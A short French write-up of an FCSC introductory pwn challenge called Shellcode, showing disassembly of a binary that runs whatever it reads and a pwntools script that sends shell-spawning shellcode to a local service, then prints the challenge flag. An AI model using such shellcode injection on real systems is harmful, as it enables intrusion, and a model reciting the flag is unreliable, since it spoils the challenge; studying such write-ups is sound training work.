Solution de mandragore pour Shellcode

intro pwn x86/x64

8 janvier 2025

Le fichier execut0r exécute simplement le code qu’on lui envoie :

00001154        void buf
00001154        read(fd: 0, &buf, nbytes: 0x200)
00001160        (&buf)()
00001168        return 0

(Désassemblage avec BinaryNinja)

#!/usr/bin/python
from pwn import *

context(arch='amd64')

sc = asm(shellcraft.sh())

#proc = process('./execut0r',stdin=PTY)
proc = remote('127.0.0.1',4000)
proc.clean()
proc.sendline(sc)
proc.sendline(b'uname -a')
proc.interactive()

On obtient :

FCSC{9f8a2eb6fbb26644dab670f1a948c449ba36102417efc3e40c3bd4774bfb4f7a}